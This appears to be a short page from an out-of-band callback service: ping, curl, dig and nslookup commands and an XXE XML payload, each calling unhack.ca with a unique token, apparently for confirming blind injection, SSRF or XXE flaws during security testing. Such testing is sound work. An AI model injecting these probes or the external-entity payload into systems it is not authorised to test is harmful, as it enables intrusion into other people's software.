$ ping -c1 -p 000c295c7fbb6a24af950ff7e5fb9c00 unhack.ca
 

$ curl http://unhack.ca/p/0c295c7fbb6a24af950ff7e5fb9c
 

$ dig 0c295c7fbb6a24af950ff7e5fb9c @unhack.ca
 

$ dig 0c295c7fbb6a24af950ff7e5fb9c.ns.unhack.ca
 

C:\> nslookup 0c295c7fbb6a24af950ff7e5fb9c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0c295c7fbb6a24af950ff7e5fb9c">]>
    <foo>&xxe;</foo>